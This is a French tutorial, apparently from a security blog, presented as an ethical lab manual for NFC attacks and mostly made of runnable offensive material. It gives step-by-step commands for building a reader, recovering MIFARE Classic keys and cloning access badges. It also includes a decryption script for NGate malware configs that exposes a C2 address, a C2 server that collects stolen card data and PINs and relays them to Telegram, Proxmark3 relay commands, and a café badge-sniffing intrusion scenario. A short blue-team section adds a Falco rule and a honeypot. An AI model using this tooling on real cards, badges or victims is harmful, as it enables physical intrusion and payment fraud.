⚠️ LABORATOIRE ISOLÉ OBLIGATOIRE – Utilisation uniquement sur vos propres cartes/badges ou avec autorisation écrite. Article 323-1 du Code pénal français. Formation éthique pour comprendre les menaces NFC 2026.

NFC Raider 2026 – Manuel opératif ultime

Kill Chain offensive, analyse NGate, contre‑mesures Blue Team – un tutoriel, tous les schémas, et des explications pas à pas pour chaque commande.

📑 Sommaire rapide

🎯 Introduction – Du technique à la stratégie

Ce guide dépasse le simple tutoriel technique. Il intègre une doctrine opérationnelle : modélisation d’attaque, profils d’adversaires, arbres de décision, métriques temps/coût, et réponse Blue Team. Vous ne deviendrez pas seulement un technicien NFC, mais un opérateur autonome capable de penser comme un attaquant et de défendre comme un professionnel.

graph TD A[Votre Lab] --> B[Kill Chain NFC] A --> C[Adversary Profiles] A --> D[DIY Reader] D --> E[Clonage MIFARE] D --> F[Analyse NGate] E --> G[Décision tree] F --> G G --> H[Blue Team Playbook] style A fill:#00ff9d20 style C fill:#ff336620 style H fill:#3366ff20

📊 Tendances NFC début-2026

  • NGate détecté dans >760 applis malveillantes (Zimperium)
  • +340% d’attaques par relay NFC en Europe (Europol)
  • CVE-2025-25650 toujours non patchée sur serrures Dorset DG 201
  • MIFARE Classic présent dans 35% des badges d’entreprise

⚔️ 1. NFC Kill Chain – De la reconnaissance à la monétisation

Une attaque NFC réelle suit un cycle structuré. Voici les phases, avec exemples concrets et les artefacts détectables par une défense.

graph LR A[Recon] --> B[Access] B --> C[Exploit] C --> D[Relay/Clonage] D --> E[Monétisation] E --> F[Évasion]
PhaseDescriptionArtefacts détectables
ReconSniff de tags, identification du protocole, fingerprint du lecteur.Scans NFC répétés, logs USB, bursts de requêtes SELECT PPSE.
AccessObtention d’un badge physique (social engineering, perte, vol) ou clé par dictionnaire.Badges déclarés perdus, authentifications échouées massives.
ExploitAttaque nested/hardnested pour extraire les clés (MIFARE) ou capture APDU (EMV).Bursts d’authentifications, latence anormale, temps de réponse inhabituel.
Relay/ClonageCopie du badge ou relay en temps réel (NGate).Incohérence géographique (relay), même UID utilisé à deux endroits simultanément.
MonétisationRetrait ATM, accès physique, vente de données.Transactions hors normes, accès physiques en dehors des horaires.
ÉvasionEffacement des logs, random UID cycling, timing jitter.Trous dans les logs, comportement non déterministe.
Cette chaîne sert de base pour toutes les opérations. Chaque phase peut être déclenchée par un script ou une action manuelle.

🎭 2. Profils d’adversaires – Capacités, coûts, risques

TypeCapacitésMatériel typiqueCoûtRisque détection
Script kiddieClonage MIFARE, replay simpleFlipper Zero, PN53250‑200€Faible (attaque grossière)
Criminel organiséNGate, relay bancaire, malware AndroidSmartphones, Proxmark3, serveurs C2500‑5000€Élevée (opérations discrètes)
APT (Étatique)Hardware custom, firmware modifié, zero‑dayMatériel militaire, attaques side‑channel10k€+Très faible (techniques avancées)

Cette typologie permet d’adapter les contre‑mesures : un script kiddie sera arrêté par un simple honeypot, un APT nécessitera une détection comportementale poussée.

🛠️ 3. Lecteur NFC DIY – Raspberry Pi + PN532 (SPI)

Matériel, câblage, installation logicielle et création du fichier blank.mfd. Chaque commande est expliquée en détail.

3.1 Matériel nécessaire

ComposantModèleCoût estimé
Raspberry Pi Zero 2WAvec GPIO soudés25-30 €
Module PN532Version SPI (pins soudés)10-15 €
Jumper wires6x femelle-femelle, 20cm2 €
Badges MIFARE Classic 1KClones chinois (UID changeable)5-10 € le lot

Alternatives haut de gamme : Proxmark3 (80‑120€) ou Chameleon Ultra (60‑80€). Le choix de l’outil dépend de la mission :

3.2 Câblage SPI

graph LR subgraph PN532 SCK; MISO; MOSI; SS; VCC; GND end subgraph Raspberry Pi GPIO GPIO11(SCLK); GPIO9(MISO); GPIO10(MOSI); GPIO8(CE0); 3V3; GND end SCK --- GPIO11 MISO --- GPIO9 MOSI --- GPIO10 SS --- GPIO8 VCC --- 3V3 GND --- GND

Important : Placez les switches du PN532 en position SPI (voir documentation). Utilisez une pince à épiler pour basculer délicatement les micro-interrupteurs.

3.3 Installation logicielle – Explications pas à pas

Voici les commandes pour configurer votre Raspberry Pi. Chaque bloc est commenté pour comprendre son rôle.

# Mise à jour du système
sudo apt update && sudo apt upgrade -y

# Installation des dépendances nécessaires
# screen : sessions persistantes, git : clonage des dépôts, apache2 : serveur web local,
# hexcurse : éditeur hexadécimal, autoconf/libtool : compilation, libusb-dev : accès USB
sudo apt install -y screen git apache2 hexcurse autoconf libtool libusb-dev

# Activer l'interface SPI du Raspberry Pi (nécessaire pour communiquer avec le PN532)
sudo raspi-config nonint do_spi 0

# Cloner et installer libnfc (bibliothèque de base pour NFC)
git clone https://github.com/nfc-tools/libnfc.git
cd libnfc
autoreconf -vis          # génère les fichiers de configuration
./configure --prefix=/usr --sysconfdir=/etc   # prépare l'installation
make                     # compile
sudo make install        # installe dans le système
sudo ldconfig            # met à jour la bibliothèque dynamique

# Configuration de libnfc pour utiliser le PN532 en SPI
sudo mkdir /etc/nfc
sudo cp libnfc.conf.sample /etc/nfc/libnfc.conf
echo 'device.name = "PN532 Reader (SPI)"' | sudo tee -a /etc/nfc/libnfc.conf
echo 'device.connstring = "pn532_spi:/dev/spidev0.0:50000"' | sudo tee -a /etc/nfc/libnfc.conf

# Vérification que le lecteur est bien détecté
nfc-scan-device   # doit afficher "PN532 Reader (SPI)"

# Installation de mfoc-hardnested (outil de récupération de clés MIFARE)
cd ~
git clone https://github.com/nfc-tools/mfoc-hardnested.git
cd mfoc-hardnested
autoreconf -vis
./configure
make
sudo make install
cd ~

# Ajout de swap 4 Go (indispensable pour les attaques hardnested qui consomment beaucoup de RAM)
sudo fallocate -l 4G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
echo '/swapfile swap swap defaults 0 0' | sudo tee -a /etc/fstab
echo 'vm.swappiness=100' | sudo tee -a /etc/sysctl.conf   # augmente l'utilisation du swap

3.4 Fichier blank.mfd (badge vierge) – création et explication

Ce fichier représente un badge MIFARE Classic 1K totalement vierge, avec un UID par défaut (01234567) et des clés par défaut (FFFFFFFFFFFF) pour tous les secteurs. Il servira de base pour vos manipulations.

# Créer un fichier vide de 1024 octets (taille d'un MIFARE Classic 1K)
dd if=/dev/zero of=blank.mfd bs=1 count=1024

# Écrire l'UID et le BCC (bloc 0) – les 8 premiers octets
# 01 23 45 67 = UID sur 4 octets, 00 = BCC, 08 00 = données manufacturier
printf '\x01\x23\x45\x67\x00\x00\x08\x00' | dd of=blank.mfd bs=1 seek=0 conv=notrunc

# Remplir les 16 sector trailers (tous les 4 blocs) avec des clés par défaut
# Chaque secteur trailer fait 16 octets : Key A (6) + Access Bits (4) + Key B (6)
# Les valeurs par défaut : Key A = FFFFFFFFFFFF, Access Bits = FF078069, Key B = FFFFFFFFFFFF
for i in {3..63..4}; do
    printf '\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x07\x80\x69\xFF\xFF\xFF\xFF\xFF\xFF' | dd of=blank.mfd bs=1 seek=$((i*16)) conv=notrunc
done

Explication : MIFARE Classic 1K possède 16 secteurs de 4 blocs chacun (blocs 0‑3 pour secteur 0, 4‑7 pour secteur 1, etc.). Le dernier bloc de chaque secteur (bloc 3, 7, 11, …, 63) est le « sector trailer » qui contient les clés et les droits d'accès. En remplissant tous ces blocs avec les clés par défaut, on obtient un tag utilisable avec les outils standard.

⚡ 4. MIFARE Classic – Vulnérabilité et arbre de décision

4.1 Pourquoi MIFARE Classic est cassé

4.2 Arbre de décision opérationnel (avec métriques)

SI tag MIFARE Classic :
1. Dictionnaire étendu (extended-std.keys) → 5‑10 min, faible difficulté. Teste 1781 clés communes observées dans la nature.
2. Si échec et 1 clé trouvée → nested attack → 10‑30 min, moyen. Utilise la clé connue pour dériver les clés des autres secteurs.
3. Si aucune clé → hardnested attack → 1‑20h, élevé. Nécessite ~1000 authentifications et une puissance de calcul conséquente.
SINON (DESFire, EMV) : abandon ou stratégie de relay (NGate).
Coût opérationnel : temps = argent. Toujours commencer par le dictionnaire.

4.3 Détection des clones chinois (Gen1/Gen2/Gen3)

Les clones chinois (« Magic Cards ») se distinguent par leur capacité à modifier l’UID. Utilisez ce script pour détecter le type :

#!/bin/bash
echo "Test d'écriture du bloc 0 (UID) :"
nfc-mfsetuid 11223344 -q 2>/dev/null
if [ $? -eq 0 ]; then
    echo "[+] Gen1/Gen2 : UID modifiable via commande standard"
else
    echo "[-] Pas de support nfc-mfsetuid, test commande backdoor 0x40..."
    python3 -c "
import nfc
clf = nfc.ContactlessFrontend('usb')
tag = clf.connect(rdwr={'on-connect': lambda t: False})
if hasattr(tag, 'cl3_write_uid'):
    print('[+] Gen3 détecté (backdoor 0x40)')
else:
    print('[-] Tag non clonable ou Gen inconnu')
"
fi

Explication : nfc-mfsetuid fonctionne sur les clones Gen1 et Gen2. Si ça échoue, on teste la commande backdoor 0x40 (spécifique aux Gen3) via la bibliothèque nfc en Python. Certains Gen3 nécessitent un mot de passe supplémentaire.

4.4 Commandes essentielles – explications

# Lecture d'un tag avec les clés par défaut (Key A)
# r = read, a = utiliser Key A, u = prendre le premier UID trouvé, dump.mfd = fichier de sortie
nfc-mfclassic r a u dump.mfd

# Écriture d'un fichier dump sur un tag (clonage)
# w = write, a = utiliser Key A, u = premier UID, dump.mfd = fichier source
nfc-mfclassic w a u dump.mfd

# Écriture forcée (y compris le bloc manufacturier) – réservé aux clones chinois
nfc-mfclassic W a u dump.mfd   # W majuscule = écriture forcée

# Changement d'UID (uniquement sur clones Gen1/Gen2)
nfc-mfsetuid 8302C5CD   # remplace l'UID par 8302C5CD

# Réinitialisation d'un clone corrompu (efface tout et remet les clés par défaut)
nfc-mfsetuid -f -q && nfc-mfclassic W a u blank.mfd

Conseil : Avant toute écriture, vérifiez que vous utilisez bien un clone chinois si vous voulez modifier le bloc 0. Sinon, une erreur se produira.

📲 5. NGate – Deep dive : timeline, réseau, détection

5.1 Timeline d’attaque réelle

sequenceDiagram participant Victime participant Attaquant Victime->>Attaquant: Installe APK (phishing) Victime->>Attaquant: Approche carte NFC Victime->>Attaquant: Saisie PIN Attaquant->>C2: Exfiltration APDU + PIN C2->>Terminal: Replay APDU (relay) Terminal->>Attaquant: Transaction validée

Explication : L'utilisateur installe une fausse application bancaire (par phishing). L'application demande à approcher la carte et à saisir le PIN. En arrière‑plan, elle capture les APDU et les envoie à un serveur C2. Un complice, situé près d'un ATM, reçoit ces données et les rejoue via un téléphone en mode HCE, trompant le terminal bancaire.

5.2 Déchiffrement config (sandbox obligatoire)

⚠️ Ne jamais exécuter ce script sur un APK réel sans sandbox ! Le déchiffrement nécessite le certificat de signature ; un sandbox (ex: Cuckoo, Any.Run) est obligatoire pour éviter l’exécution de code malveillant.
#!/usr/bin/env python3
import binascii, hashlib
# key = SHA-256(certificate DER) – exemple tiré d’un échantillon CERT Polska
key = bytes.fromhex("b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709")
ct_hex = open("____", "r").read().strip()
ct = binascii.unhexlify(ct_hex)
pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Explication : Le fichier ____ contient une chaîne hexadécimale. On la convertit en bytes, puis on la déchiffre avec un XOR répétitif utilisant la clé dérivée du certificat. Le résultat est un fichier de configuration texte avec des paramètres comme host:=91.84.97.13 et port:=5653.

5.3 Détection réseau avancée & IOCs

sudo tcpdump -i any -X port 5653

Explication : Cette commande capture en direct tout le trafic sur le port 5653 et affiche le contenu hexadécimal. Permet de visualiser les trames NGate.

5.4 Serveur C2 avec alertes Telegram

#!/usr/bin/env python3
import socket, threading, struct, requests
from datetime import datetime

TELEGRAM_BOT_TOKEN = "VOTRE_TOKEN"
TELEGRAM_CHAT_ID = "CHAT_ID"

def send_telegram(msg):
    if TELEGRAM_BOT_TOKEN != "VOTRE_TOKEN":
        requests.post(f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage",
                      json={"chat_id": TELEGRAM_CHAT_ID, "text": msg})

def handle_client(conn):
    try:
        raw_len = conn.recv(4)
        if not raw_len: return
        length = struct.unpack(">I", raw_len)[0]
        opcode = struct.unpack(">I", conn.recv(4))[0]
        body = conn.recv(length)
        if opcode == 0x01:
            print(f"[!] {datetime.now()} CARD DATA: {body.hex()}")
            send_telegram(f"Card data: {body.hex()}")
        elif opcode == 0x02:
            pin = body.decode()
            print(f"[!] PIN CAPTURED: {pin}")
            send_telegram(f"PIN: {pin}")
    except Exception as e:
        print("Error:", e)
    finally:
        conn.close()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 5653))
server.listen(5)
print("[*] NGate C2 listening on 5653")
while True:
    conn, addr = server.accept()
    threading.Thread(target=handle_client, args=(conn,)).start()

Explication : Ce serveur écoute les connexions entrantes. Il lit d'abord la longueur (4 octets), puis l'opcode (4 octets), puis le corps. Selon l'opcode (0x01 pour données carte, 0x02 pour PIN), il affiche et envoie une notification Telegram. C'est une simulation de C2 pour les tests.

5.5 Côté attaquant – Proxmark3 relay

# Émuler un tag avec un UID fixe (exemple)
proxmark3 -c "hf 14a sim -t 1 -u 12345678"

# Mode relay : retransmet en temps réel ce que le lecteur envoie vers un tag distant
proxmark3 -c "hf 14a relay"

Explication : La première commande simule un tag avec un UID donné. La seconde place le Proxmark3 en mode relay : il écoute les commandes d'un lecteur et les transmet à un tag distant (via un second Proxmark ou un tunnel). C'est ainsi que les attaquants rejouent les sessions EMV.

🛡️ 6. Contre‑mesures & Blue Team Playbook

6.1 Détection HCE non‑système (Android)

Sur Android, restreignez l’utilisation du NFC en mode HCE :

6.2 Règles Falco (détection en temps réel)

Falco surveille les appels système. Voici une règle pour détecter une rafale de commandes SELECT PPSE sur le bus USB :

- rule: Mass NFC SELECT PPSE
  desc: Détecte un grand nombre de commandes SELECT PPSE
  condition: >
    evt.type=read and fd.name=/dev/usbmon* and
    evt.buffer contains "A4 04 00 0E 32 50 41 59 2E 53 59 53"
  output: "NFC relay suspect (SELECT PPSE répété) (command=%evt.buffer)"
  priority: CRITICAL

Explication : La condition cherche dans le tampon lu depuis un périphérique USB (usbmon) la présence de la chaîne hexadécimale correspondant à la commande SELECT PPSE. Si cette séquence apparaît plusieurs fois en peu de temps, elle déclenche une alerte.

6.3 Détection de relay par anomalie géographique

Les banques comparent désormais la localisation de l’ATM et celle du téléphone de la victime via GPS. Un écart >500m déclenche un blocage. En lab, simulez cette détection en enregistrant les coordonnées fictives.

6.4 Honeypot NFC

Un script Python qui surveille en permanence les accès NFC et déclenche une alerte dès qu’un tag inconnu est scanné.

import nfc, time
def on_connect(tag):
    print(f"[ALERTE] Tag scanné : UID={tag.identifier.hex()}")
    return True
clf = nfc.ContactlessFrontend('usb')
while True:
    clf.connect(rdwr={'on-connect': on_connect})
    time.sleep(0.1)

6.5 Blue Team – Comment une banque / entreprise réagit

⚠️ 7. Erreurs classiques à éviter

🏢 8. Scénario réel – Clonage badge entreprise → accès bâtiment → pivot

  1. Recon : l’attaquant scanne les badges des employés dans un café (sniff passif).
  2. Exploit : il récupère les clés MIFARE avec hardnested (1h).
  3. Clonage : il écrit le dump sur un clone chinois.
  4. Accès physique : il entre dans le bâtiment avec le clone.
  5. Pivot : une fois à l’intérieur, il utilise un Raspberry Pi pour relayer le badge vers un collègue extérieur (relay).
  6. Monétisation : vol de documents sensibles ou intrusion réseau.

Chaque étape est simulable en lab avec les outils du tutoriel.

📊 9. Comparatif des protocoles NFC (avec relay possible)

ProtocoleSécuritéClonage possible ?Relay possible ?Usage principal
MIFARE ClassicCrypto1 (cassé)Oui (mfoc)Oui (relay passif)Badges accès, anciens transports
MIFARE DESFire EV2/3AES‑128Non (sauf clés faibles)Théoriquement oui (relay full), mais complexeTransports modernes
EMV (cartes bancaires)AES + RSA + tokenNon (dynamique)Oui via HCE (NGate)Paiements
NTAG21xPassword (bruteforçable)Oui si password connuOui (replay simple)Tags marketing

🔬 10. Exercices pour les Apaches

  1. Construire le lecteur portable et l’alimenter avec une batterie externe.
  2. Lire un badge MIFARE vierge, modifier son contenu avec hexcurse, le réécrire.
  3. Récupérer les clés d’un badge personnel avec mfoc-hardnested.
  4. Simuler l’attaque NGate avec deux téléphones Android (mode lecteur + HCE).
  5. Créer un tag lisible par iPhone (blank_iPhone.mfd).
  6. Capturer un échange EMV avec tcpdump et décoder les APDU.
  7. Écrire une règle Suricata pour bloquer les connexions sortantes vers IP de C2.
  8. Mettre en place un honeypot NFC avec notification Telegram.

📁 11. Annexes – Templates MIFARE et outils

Les trois fichiers essentiels sont fournis via les commandes wget ci‑dessous. Pour un environnement totalement isolé, vous pouvez les récupérer une fois, puis les conserver localement.

cd ~/nfc
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/blank.mfd
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/blank_iPhone.mfd
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/sample_with_keys.mfd

Le fichier sample_with_keys.mfd contient les clés 1DB6261B7C / D43648824A42 et les access bits 7F0788.

11.1 Script de nettoyage automatique (reset clones chinois)

#!/bin/bash
echo "Reset du badge clone..."
nfc-mfsetuid -f -q
nfc-mfclassic W a u blank.mfd
echo "Terminé."

11.2 Access Bits Calculator (local)

Pour calculer facilement les bits d’accès MIFARE, installez ce calculateur sur votre Raspberry Pi :

cd ~
git clone https://github.com/akafugu/MIFARE-Classic-1K-Access-Bits-Calculator.git
sudo cp -r MIFARE-Classic-1K-Access-Bits-Calculator/* /var/www/html/
# Accédez via http://nfclab.local/mifareWidget/

📖 12. Glossaire

🏁 Conclusion – Devenez un opérateur autonome

Vous possédez désormais un guide complet, de la construction matérielle à la réponse Blue Team, en passant par des arbres de décision opérationnels, des métriques temps/coût, et une intégration de la détection dans la kill chain. Ce manuel est conçu pour être utilisé en laboratoire, comme référence tactique. Appliquez ces connaissances avec éthique, et partagez les bonnes pratiques autour de vous.

🙏 Remerciements : CERT Polska, smolinde, communauté open source (libnfc, mfoc-hardnested, Proxmark3). Adapté et enrichi pour pctamalou.fr dans un souci d’excellence pédagogique.